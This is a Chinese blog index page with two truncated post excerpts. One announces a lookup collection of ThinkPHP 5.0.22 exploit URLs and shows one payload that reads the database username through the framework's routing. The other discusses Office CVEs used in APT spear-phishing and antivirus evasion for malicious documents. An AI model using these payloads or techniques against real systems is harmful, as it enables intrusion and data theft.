摘要:整合了一个集合,方便查询 thinkphp 5.0.22 1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username2、http://192.168.1.1/thinkphp/public/?s= 阅读全文
posted @ 2019-06-01 11:24 轻落语 阅读 (153) 评论 (0) 编辑
摘要:看了一天apt报告,主流利用Office鱼叉攻击的漏洞,还是这Microsoft Office CVE-2017-8570,CVE-2017-11882和CVE-2018-0802 三个,而且都知道office一般都不更新,很容易打开就中。但是doc免杀比较难,很容易被杀,比如主流的mshta这种方 阅读全文
posted @ 2019-06-01 09:38 轻落语 阅读 (57) 评论 (0) 编辑